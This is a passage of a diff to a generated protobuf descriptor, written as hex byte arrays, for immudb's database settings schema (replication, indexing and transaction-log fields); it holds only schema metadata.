0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, + 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, + 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, + 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, - 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, - 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, - 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, - 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, + 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, + 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, + 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, + 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, + 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, - 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, - 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, + 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, + 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, + 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, + 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, + 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, + 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, + 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, + 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, + 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, + 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, + 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, + 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, - 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, - 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, - 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, - 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, - 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, - 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, - 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, - 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 